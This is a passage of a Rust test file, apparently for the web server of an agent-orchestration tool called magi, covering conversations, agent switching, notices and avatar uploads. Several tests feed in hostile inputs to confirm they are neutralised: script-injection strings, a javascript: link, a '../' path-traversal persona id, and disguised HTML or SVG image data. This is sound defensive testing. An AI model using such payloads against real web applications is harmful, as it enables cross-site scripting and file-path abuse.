13942 let repos = list.as_array().expect("an array");
13943 assert_eq!(repos.len(), 1);
13944 assert_eq!(repos[0]["name"], "yukimemi/magi");
13945 assert!(
13946 repos[0]["path"]
13947 .as_str()
13948 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13949 "{list}"
13950 );
13951 }
13952
13953 #[tokio::test]
13954 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13955 let tmp = TempDir::new().expect("tempdir");
13956 let repo = tmp.path().join("repo");
13957 std::fs::create_dir_all(&repo).expect("repo dir");
13958 let root = tmp.path().join("root");
13959 make_checkout(&root, "github.com", "yukimemi", "magi");
13960 std::fs::write(
13961 repo.join("magi.toml"),
13962 format!(
13963 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13964 root.to_string_lossy().into_owned()
13965 ),
13966 )
13967 .expect("write magi.toml");
13968
13969 let f = Fixture::with_repo(repo).await;
13970 let first = f.get("/api/repos").await;
13971 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13972
13973 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13976 let second = f.get("/api/repos").await;
13977 assert_eq!(
13978 second.json().as_array().map(Vec::len),
13979 Some(1),
13980 "a fresh cache must not rescan inside the TTL"
13981 );
13982
13983 let refreshed = f.get("/api/repos?refresh=1").await;
13984 assert_eq!(
13985 refreshed.json().as_array().map(Vec::len),
13986 Some(2),
13987 "an explicit refresh must rescan even inside the TTL"
13988 );
13989 }
13990
13991 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13997
13998 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14002 let tmp = TempDir::new().expect("tempdir");
14003 let repo = tmp.path().join("repo");
14004 std::fs::create_dir_all(&repo).expect("repo dir");
14005 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14006 let f = Fixture::with_repo(repo.clone()).await;
14007 (tmp, repo, f)
14008 }
14009
14010 #[tokio::test]
14011 async fn posting_a_talk_with_remembered_choices_is_soft() {
14012 let (_tmp, _repo, f) = talk_fixture().await;
14013
14014 let good = f
14015 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14016 .await;
14017 assert_eq!(good.status, 201, "{}", good.body);
14018 assert_eq!(good.json()["persona"], "rei");
14019
14020 let stale = f
14022 .post(
14023 "/api/talks",
14024 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14025 )
14026 .await;
14027 assert_eq!(stale.status, 201, "{}", stale.body);
14028 let v = stale.json();
14029 assert_eq!(v["implementers"], 1);
14030 assert_ne!(v["persona"], "nobody");
14031 let typed = f
14032 .post(
14033 "/api/talks",
14034 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14035 )
14036 .await;
14037 assert_eq!(typed.status, 201, "{}", typed.body);
14038
14039 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14041 assert!(
14042 !strict.status.to_string().starts_with('2'),
14043 "{}",
14044 strict.body
14045 );
14046 }
14047
14048 #[tokio::test]
14049 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14050 let (_tmp, _repo, f) = talk_fixture().await;
14051
14052 let opened = f.post("/api/talks", None).await;
14055 assert_eq!(opened.status, 201, "{}", opened.body);
14056 let body = opened.json();
14057 assert_eq!(body["status"], "open");
14058 assert_eq!(
14059 body["turns"].as_array().unwrap().len(),
14060 0,
14061 "opening takes no agent turn: there is nothing yet to answer"
14062 );
14063
14064 let also_opened = f.post("/api/talks", Some("{}")).await;
14066 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14067
14068 let listed = f.get("/api/talks").await.json();
14069 assert_eq!(listed.as_array().unwrap().len(), 2);
14070 }
14071
14072 #[tokio::test]
14073 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14074 let tmp = TempDir::new().expect("tempdir");
14075 let repo = tmp.path().join("repo");
14076 std::fs::create_dir_all(&repo).expect("repo dir");
14077 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14078 std::fs::write(
14079 repo.join("magi.toml"),
14080 format!("{MOCK_AGENT_TOML}\n{second}"),
14081 )
14082 .expect("write magi.toml");
14083 let home = TempDir::new().expect("temp home");
14084 let talks = Talks::at(home.path().join("talks"));
14085 let ui = Arc::new(
14086 Ui::new(
14087 Queue::at(home.path().join("queue")),
14088 Questions::at(home.path().join("questions")),
14089 talks.clone(),
14090 home.path().join("runs"),
14091 home.path().to_path_buf(),
14092 repo.clone(),
14093 )
14094 .with_worktrees_root(home.path().join("wt")),
14095 );
14096 let cfg = config_for(&repo).await.expect("discover config");
14097 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14098 let id = talk.id.clone();
14099 let call = |agent: &str| {
14100 talk_agent(
14101 State(Arc::clone(&ui)),
14102 Path(id.clone()),
14103 Json(TalkAgent {
14104 agent: agent.to_owned(),
14105 }),
14106 )
14107 };
14108
14109 let unknown = call("nobody").await.expect_err("unknown agent");
14110 assert_eq!(
14111 unknown.status,
14112 StatusCode::BAD_REQUEST,
14113 "{}",
14114 unknown.message
14115 );
14116
14117 {
14118 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14121 let busy = call("second").await.expect_err("busy talk");
14122 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14123 assert!(
14124 busy.message.contains("a talk turn is running"),
14125 "{}",
14126 busy.message
14127 );
14128 drop(guard);
14129 }
14130 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14131
14132 let Json(view) = call("second").await.expect("switch");
14133 assert_eq!(view.talk.agent, "second");
14134 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14135 let saved = talks.get(&id).expect("reload");
14136 assert_eq!(saved.agent, "second");
14137 assert_eq!(saved.turns.len(), 1);
14138 assert!(!view.thinking);
14139 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14140 for agent in ["mock", "second"] {
14141 let Json(view) = call(agent).await.expect("immediate consecutive change");
14142 assert_eq!(view.talk.agent, agent);
14143 assert!(!view.thinking);
14144 assert!(!ui.is_thinking(&id));
14145 }
14146
14147 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14148 .await
14149 .expect("detail");
14150 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14151 assert_eq!(roster, ["mock", "second"]);
14152
14153 let mut closed = talks.get(&id).expect("reload");
14154 talk::close(&mut closed, &talks).expect("close");
14155 let refused = call("mock").await.expect_err("closed talk");
14156 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14157 assert!(
14158 refused.message.contains("takes no more turns"),
14159 "{}",
14160 refused.message
14161 );
14162 }
14163
14164 #[tokio::test]
14165 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14166 let tmp = TempDir::new().expect("tempdir");
14167 let repo = tmp.path().join("repo");
14168 std::fs::create_dir_all(&repo).expect("repo dir");
14169 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14170 let home = TempDir::new().expect("temp home");
14171 let talks = Talks::at(home.path().join("talks"));
14172 let ui = Arc::new(
14173 Ui::new(
14174 Queue::at(home.path().join("queue")),
14175 Questions::at(home.path().join("questions")),
14176 talks.clone(),
14177 home.path().join("runs"),
14178 home.path().to_path_buf(),
14179 repo.clone(),
14180 )
14181 .with_worktrees_root(home.path().join("wt")),
14182 );
14183 let cfg = config_for(&repo).await.expect("discover config");
14184 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14185 let id = talk.id.clone();
14186 let call = |n: u8| {
14187 talk_implementers(
14188 State(Arc::clone(&ui)),
14189 Path(id.clone()),
14190 Json(TalkImplementers { implementers: n }),
14191 )
14192 };
14193
14194 for bad in [0u8, 4] {
14195 let e = call(bad).await.expect_err("out of range");
14196 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14197 }
14198 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14199
14200 {
14201 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14204 let busy = call(2).await.expect_err("busy talk");
14205 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14206 assert!(
14207 busy.message.contains("a talk turn is running"),
14208 "{}",
14209 busy.message
14210 );
14211 drop(guard);
14212 }
14213
14214 let Json(view) = call(3).await.expect("switch");
14215 assert_eq!(view.talk.implementers, 3);
14216 assert!(talks.get(&id).expect("reload").implementers_dirty);
14217 assert!(!view.thinking);
14218 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14219 for n in [1, 2, 3] {
14220 let Json(view) = call(n).await.expect("immediate consecutive change");
14221 assert_eq!(view.talk.implementers, n);
14222 assert!(!view.thinking);
14223 assert!(!ui.is_thinking(&id));
14224 }
14225
14226 let mut closed = talks.get(&id).expect("reload");
14227 talk::close(&mut closed, &talks).expect("close");
14228 let e = call(2).await.expect_err("closed talk");
14229 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14230 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14231 }
14232
14233 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14235 let tmp = TempDir::new().expect("tempdir");
14236 let repo = tmp.path().join("repo");
14237 std::fs::create_dir_all(&repo).expect("repo dir");
14238 std::fs::write(
14239 repo.join("magi.toml"),
14240 format!("{MOCK_AGENT_TOML}\n{extra}"),
14241 )
14242 .expect("write magi.toml");
14243 let home = TempDir::new().expect("temp home");
14244 let talks = Talks::at(home.path().join("talks"));
14245 let ui = Arc::new(
14246 Ui::new(
14247 Queue::at(home.path().join("queue")),
14248 Questions::at(home.path().join("questions")),
14249 talks.clone(),
14250 home.path().join("runs"),
14251 home.path().to_path_buf(),
14252 repo.clone(),
14253 )
14254 .with_worktrees_root(home.path().join("wt")),
14255 );
14256 let cfg = config_for(&repo).await.expect("discover config");
14257 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14258 (tmp, home, ui, talk.id, repo)
14259 }
14260
14261 #[tokio::test]
14262 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14263 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14264 let mut conversation = ui.talks.get(&id).unwrap();
14265 talk::record(
14266 &mut conversation,
14267 &ui.talks,
14268 "# Update on a task you filed\noperator words",
14269 vec![],
14270 )
14271 .unwrap();
14272 conversation.turns[0].sender = None;
14274 conversation.turns[0].messages.clear();
14275 ui.talks.put(&mut conversation).unwrap();
14276 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14277 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14278 talk::drain(&mut conversation, &ui.talks).unwrap();
14279 talk::record_reply(
14280 &mut conversation,
14281 &ui.talks,
14282 "about that report",
14283 vec![],
14284 Some(talk::ReplyTarget {
14285 turn: 1,
14286 message: 1,
14287 }),
14288 )
14289 .unwrap();
14290 conversation.turns[2].messages[0]
14291 .reply
14292 .as_mut()
14293 .unwrap()
14294 .sender = None;
14295 conversation.turns.push(talk::Turn {
14296 sender: Some(talk::Sender::Persona),
14297 who: talk::Who::Agent,
14298 body: "magi: actual persona words".into(),
14299 at: Timestamp::now(),
14300 attachments: vec![],
14301 usage: None,
14302 breaks: None,
14303 messages: vec![],
14304 posted_by: None,
14305 });
14306 ui.talks.put(&mut conversation).unwrap();
14307 let view = TalkView::with_config(
14308 ui.talks.get(&id).unwrap(),
14309 false,
14310 None,
14311 &ui.home,
14312 &ui.references,
14313 );
14314 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14315 assert_eq!(
14316 view.talk.turns[1].messages[0].sender,
14317 Some(talk::Sender::Operator)
14318 );
14319 assert_eq!(
14320 view.talk.turns[1].messages[1].sender,
14321 Some(talk::Sender::Magi)
14322 );
14323 assert_eq!(
14324 view.talk.turns[2].messages[0]
14325 .reply
14326 .as_ref()
14327 .unwrap()
14328 .sender,
14329 Some(talk::Sender::Magi)
14330 );
14331 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14332 assert_eq!(view.turn_messages_md[0].len(), 1);
14333 assert!(view.turn_messages_md[0][0].is_none());
14334 assert!(view.turn_messages_md[1][0].is_none());
14335 assert!(view.turn_messages_md[1][1].is_some());
14336 }
14337
14338 #[tokio::test]
14339 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14340 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14341 let mut conversation = ui.talks.get(&id).unwrap();
14342 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14343 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14344 talk::queue_notice(
14345 &mut conversation,
14346 &ui.talks,
14347 &body,
14348 "watch:123",
14349 &|_| false,
14350 None,
14351 display.clone(),
14352 )
14353 .unwrap();
14354 assert!(
14355 !talk::queue_notice(
14356 &mut conversation,
14357 &ui.talks,
14358 &body,
14359 "watch:123",
14360 &|_| false,
14361 None,
14362 display.clone()
14363 )
14364 .unwrap()
14365 );
14366 let saved = ui.talks.get(&id).unwrap();
14367 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14368 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14369 assert!(
14370 view.talk.turns[0].messages[0].display.is_none(),
14371 "operator copy stays literal"
14372 );
14373 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14374 assert!(view.turn_messages_md[0][0].is_none());
14375 let queued_md = view.pending_messages_md[0].clone();
14376 assert_eq!(
14377 queued_md,
14378 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14379 );
14380 talk::drain(&mut conversation, &ui.talks).unwrap();
14381 talk::record_reply(
14382 &mut conversation,
14383 &ui.talks,
14384 "Explain",
14385 vec![],
14386 Some(talk::ReplyTarget {
14387 turn: 1,
14388 message: 0,
14389 }),
14390 )
14391 .unwrap();
14392 let mut saved = ui.talks.get(&id).unwrap();
14393 assert_eq!(saved.turns[1].messages[0].body, body);
14394 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14395 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14396 assert!(!reply.excerpt.contains("automatic report"));
14397 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14400 let view = TalkView::with_config(
14401 ui.talks.get(&id).unwrap(),
14402 false,
14403 None,
14404 &ui.home,
14405 &ui.references,
14406 );
14407 assert_eq!(view.turn_messages_md[1][0], queued_md);
14408 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14409 assert!(
14410 !view.talk.turns[2].messages[0]
14411 .reply
14412 .as_ref()
14413 .unwrap()
14414 .excerpt
14415 .contains("automatic report")
14416 );
14417 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14418 }
14419
14420 #[tokio::test]
14421 async fn consultation_display_hides_directives_in_queue_and_history() {
14422 for node in [
14423 "implement",
14424 crate::land::APPROVAL_NODE,
14425 crate::github_text::ASK_NODE,
14426 ] {
14427 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14428 let mut question = Question::new(
14429 "run-123".into(),
14430 node.into(),
14431 "seat-1".into(),
14432 "Which backend?".into(),
14433 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14434 vec!["SQLite".into(), "Redis".into()],
14435 );
14436 ui.questions.put(&mut question).unwrap();
14437 let body = crate::prompt::chat_consult(&question);
14438 let mut conversation = ui.talks.get(&id).unwrap();
14439 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14440 assert!(
14441 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14442 );
14443 conversation = ui.talks.get(&id).unwrap();
14444 assert_eq!(conversation.pending_messages[0].body, body);
14445 assert!(body.contains("magi answer"));
14446 let mut legacy_pending = conversation.clone();
14447 legacy_pending.pending_messages[0].display = None;
14448 let legacy_view =
14449 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14450 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14451 assert!(legacy_md.contains("Question consultation"));
14452 assert!(!legacy_md.contains("magi answer"));
14453 let view =
14454 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14455 assert!(
14456 view.turn_messages_md[0][0].is_none(),
14457 "operator copy stays literal"
14458 );
14459 let queued_md = view.pending_messages_md[0].clone().unwrap();
14460 let rendered = serde_json::to_string(&queued_md).unwrap();
14461 for visible in [
14462 "Which backend?",
14463 "Context",
14464 "storage",
14465 "SQLite",
14466 "Redis",
14467 "<script>literal</script>",
14468 ] {
14469 assert!(rendered.contains(visible), "missing {visible}");
14470 }
14471 for directive in [
14472 "What to do",
14473 "magi answer",
14474 "Never answer it yourself",
14475 "Do not edit the repository",
14476 ] {
14477 assert!(!rendered.contains(directive), "exposed {directive}");
14478 }
14479 assert_eq!(
14480 view.talk.pending_messages[0].display,
14481 Some(crate::prompt::chat_consult_display(&question))
14482 );
14483 talk::drain(&mut conversation, &ui.talks).unwrap();
14484 let view =
14485 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14486 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14487 assert_eq!(conversation.turns[1].messages[0].body, body);
14488
14489 conversation.turns[1].messages[0].display = None;
14492 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14493 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14494 assert!(legacy.contains("Question consultation"));
14495 assert!(!legacy.contains("magi answer"));
14496 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14497 }
14498 }
14499
14500 #[test]
14501 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14502 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14503 let (body, mut display) =
14504 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14505 display.facts = facts.into();
14506 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14507 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14508 let json = serde_json::to_string(&nodes).unwrap();
14509 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14510 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14511 }
14512 assert!(json.contains("<script>alert(1)</script>"));
14513 assert!(!json.contains("javascript:"));
14514 assert!(!json.contains("Tell the operator"));
14515 assert!(!json.contains("untrusted"));
14516 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14517 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14518 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14519 assert_eq!(
14520 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14521 md::to_nodes("# Status", &md::ImageBase::None),
14522 );
14523 }
14524
14525 #[tokio::test]
14526 async fn notification_display_recovers_exact_legacy_completion_references() {
14527 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14528 let mut conversation = ui.talks.get(&id).unwrap();
14529 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14530 id: "task-123",
14531 title: "Change",
14532 status: "done",
14533 reason: None,
14534 run: Some("run-123"),
14535 pr: None,
14536 summary: Some("Merge state unknown"),
14537 });
14538 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14539 conversation.turns[0].sender = None;
14540 conversation.turns[0].messages.clear();
14541 conversation.turns[0].breaks = None;
14542 conversation.pending = body.clone();
14543 conversation
14544 .completion_notices
14545 .push(crate::chat_notify::CompletionReference {
14546 task: "task-123".into(),
14547 run: Some("run-123".into()),
14548 notice: body.clone(),
14549 });
14550 ui.talks.put(&mut conversation).unwrap();
14551 let view = TalkView::with_config(
14552 ui.talks.get(&id).unwrap(),
14553 false,
14554 None,
14555 &ui.home,
14556 &ui.references,
14557 );
14558 assert_eq!(
14559 view.talk.turns[0].messages[0].display,
14560 Some(display.clone())
14561 );
14562 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14563 assert_eq!(
14564 view.talk.turns[0].messages[0].sender,
14565 Some(talk::Sender::Magi)
14566 );
14567 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14568 conversation.completion_notices[0]
14569 .notice
14570 .push_str("different");
14571 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14572 assert!(view.talk.turns[0].messages.is_empty());
14573 assert!(view.talk.pending_messages.is_empty());
14574 }
14575
14576 #[tokio::test]
14577 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14578 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14579 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14580 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14581 ))
14582 .await;
14583 let path = avatar_setting_path(home.path(), Some("rei"));
14584 let orphan = avatar_setting_path(home.path(), Some("removed"));
14585 save_icon_file(&orphan, icon).unwrap();
14586 for (saved, expected) in [
14587 (icon, "custom"),
14588 ("builtin", "builtin"),
14589 ("data:image/png;base64,!!!!", "inherit"),
14590 ("data:image/png;base64,PGh0bWw+", "inherit"),
14591 ("/tmp/avatar.png", "inherit"),
14592 ] {
14593 atomic_icon_write(&path, saved).unwrap();
14594 let catalog =
14595 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14596 .await
14597 .unwrap()
14598 .0;
14599 let personas = catalog["personas"].as_array().unwrap();
14600 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14601 assert_eq!(rei["override_state"], expected);
14602 assert_eq!(rei["has_config_icon"], true);
14603 assert_eq!(rei["is_orphan"], false);
14604 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14605 assert_eq!(removed["override_state"], "custom");
14606 assert_eq!(removed["is_orphan"], true);
14607 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14608 assert_eq!(default["override_state"], "inherit");
14609 assert_eq!(default["has_config_icon"], false);
14610 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14611 assert_eq!(
14612 effective.as_deref(),
14613 Some(if expected == "builtin" { "" } else { icon })
14614 );
14615 }
14616 }
14617
14618 #[tokio::test]
14619 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14620 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14621 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14622 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14623 ))
14624 .await;
14625 let target = |id: Option<&str>| AvatarSettingsQuery {
14626 persona: id.map(str::to_owned),
14627 ..Default::default()
14628 };
14629 let original_config = config_for(&repo).await.unwrap();
14630 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14631 let original_prompt = persona::section_for(&original_persona, None);
14632 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14633 .await
14634 .unwrap()
14635 .0;
14636 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14637 let _ = avatar_settings_put(
14638 State(ui.clone()),
14639 Query(target(persona)),
14640 Json(MagiIconUpload { icon: icon.into() }),
14641 )
14642 .await
14643 .unwrap();
14644 let path = avatar_setting_path(home.path(), persona);
14645 assert!(path.starts_with(home.path().join("avatars")));
14646 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14647 for bad in [
14648 "/tmp/image.png".to_owned(),
14649 "data:image/png;base64,!!!!".to_owned(),
14650 "data:image/png;base64,PGh0bWw+".to_owned(),
14651 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14652 format!(
14653 "data:image/png;base64,{}",
14654 "A".repeat(persona_icon::ICON_MAX_BYTES)
14655 ),
14656 ] {
14657 assert!(
14658 avatar_settings_put(
14659 State(ui.clone()),
14660 Query(target(persona)),
14661 Json(MagiIconUpload { icon: bad })
14662 )
14663 .await
14664 .is_err()
14665 );
14666 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14667 }
14668 }
14669 assert!(read_magi_icon(home.path()).is_none());
14670 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14671 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14672 .await
14673 .unwrap()
14674 .0;
14675 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14676 assert_ne!(
14677 before
14678 .personas
14679 .iter()
14680 .find(|p| p.id == "magi")
14681 .unwrap()
14682 .avatar,
14683 after
14684 .personas
14685 .iter()
14686 .find(|p| p.id == "magi")
14687 .unwrap()
14688 .avatar
14689 );
14690 let restarted = Arc::new(Ui::new(
14691 Queue::at(home.path().join("queue")),
14692 Questions::at(home.path().join("questions")),
14693 Talks::at(home.path().join("talks")),
14694 home.path().join("runs"),
14695 home.path().to_owned(),
14696 repo,
14697 ));
14698 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14699 .await
14700 .unwrap()
14701 .0;
14702 assert!(
14703 catalog["personas"]
14704 .as_array()
14705 .unwrap()
14706 .iter()
14707 .any(|p| p["id"] == "../custom/日本語")
14708 );
14709 for expected in ["custom", "default", "rei"] {
14710 assert!(
14711 catalog["personas"]
14712 .as_array()
14713 .unwrap()
14714 .iter()
14715 .any(|p| p["id"] == expected)
14716 );
14717 }
14718 let response =
14719 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14720 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14721 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14722 .await
14723 .unwrap();
14724 assert_eq!(
14725 effective_persona_icon(home.path(), "rei", Some(icon)),
14726 Some(String::new())
14727 );
14728 let response = talk_avatar(
14729 State(restarted.clone()),
14730 Path(id.clone()),
14731 Query(AvatarQuery {
14732 persona: Some("rei".into()),
14733 ..Default::default()
14734 }),
14735 )
14736 .await
14737 .unwrap();
14738 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14739 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14740 .await
14741 .unwrap()
14742 .0;
14743 assert_ne!(
14744 after
14745 .personas
14746 .iter()
14747 .find(|p| p.id == "rei")
14748 .unwrap()
14749 .avatar,
14750 reset
14751 .personas
14752 .iter()
14753 .find(|p| p.id == "rei")
14754 .unwrap()
14755 .avatar
14756 );
14757 let mut inherit = target(Some("rei"));
14758 inherit.inherit = Some("1".into());
14759 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14760 .await
14761 .unwrap();
14762 assert_eq!(
14763 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14764 Some(icon)
14765 );
14766 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14767 .await
14768 .unwrap();
14769 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14770 assert_eq!(
14771 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14772 Some(icon)
14773 );
14774 let cfg = config_for(&ui.repo).await.unwrap();
14776 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14777 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14778 assert!(!original_prompt.contains("data:image"));
14779 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14780 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14781 assert!(!stored.contains("data:image"));
14782 let mut orphan = ui.talks.get(&id).unwrap();
14783 orphan.persona = "../custom/日本語".into();
14784 let view = TalkView::with_config(
14785 orphan,
14786 false,
14787 Some(&cfg),
14788 home.path(),
14789 &id_links::IndexCache::default(),
14790 );
14791 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14792 }
14793
14794 #[tokio::test]
14795 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14796 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14797 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14798 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14799 let _ = magi_icon_put(
14800 State(ui.clone()),
14801 Json(MagiIconUpload { icon: icon.into() }),
14802 )
14803 .await
14804 .unwrap();
14805 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14806 assert_ne!(original, changed);
14807 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14808 let response = magi_avatar(
14809 State(ui.clone()),
14810 Query(AvatarQuery {
14811 persona: None,
14812 builtin: None,
14813 }),
14814 )
14815 .await;
14816 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14817 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14818 assert_eq!(
14819 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14820 "nosniff"
14821 );
14822 for bad in [
14823 "data:image/png;base64,PGh0bWw+".to_owned(),
14824 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14825 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14826 ] {
14827 assert!(save_magi_icon(home.path(), &bad).is_err());
14828 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14829 }
14830 let restarted = Arc::new(Ui::new(
14832 Queue::at(home.path().join("queue")),
